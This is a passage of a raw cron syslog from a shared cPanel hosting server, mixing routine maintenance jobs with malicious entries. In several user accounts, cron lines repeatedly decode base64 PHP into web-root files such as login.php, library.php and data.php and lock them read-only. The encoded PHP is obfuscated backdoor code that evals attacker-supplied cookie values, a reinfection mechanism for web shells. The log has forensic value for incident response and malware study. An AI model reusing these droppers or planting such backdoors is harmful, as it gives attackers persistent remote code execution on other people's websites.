444 "$fp")
Mar  2 14:35:01 medusa CROND[8617]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:35:01 medusa CROND[8619]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8622]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:35:01 medusa CROND[8626]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:35:01 medusa CROND[8624]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8630]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:35:01 medusa CROND[8649]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:35:01 medusa CROND[8650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:35:01 medusa CROND[8652]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:35:01 medusa CROND[8655]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8657]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:35:01 medusa CROND[8658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:35:01 medusa CROND[8647]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:36:01 medusa CROND[27482]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:36:02 medusa CROND[27576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:36:02 medusa CROND[27621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:36:02 medusa CROND[27664]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:36:02 medusa CROND[27665]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:36:02 medusa CROND[27666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:36:02 medusa CROND[27667]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:36:02 medusa CROND[27669]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:36:02 medusa CROND[27670]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:36:02 medusa CROND[27668]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:36:02 medusa CROND[27671]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:36:02 medusa CROND[27680]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:36:02 medusa CROND[27695]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:36:02 medusa CROND[27694]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:37:01 medusa CROND[16468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:37:02 medusa CROND[16645]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:37:02 medusa CROND[16651]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:37:02 medusa CROND[16764]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:37:02 medusa CROND[16765]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:37:02 medusa CROND[16767]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:37:02 medusa CROND[16766]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:37:02 medusa CROND[16769]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAk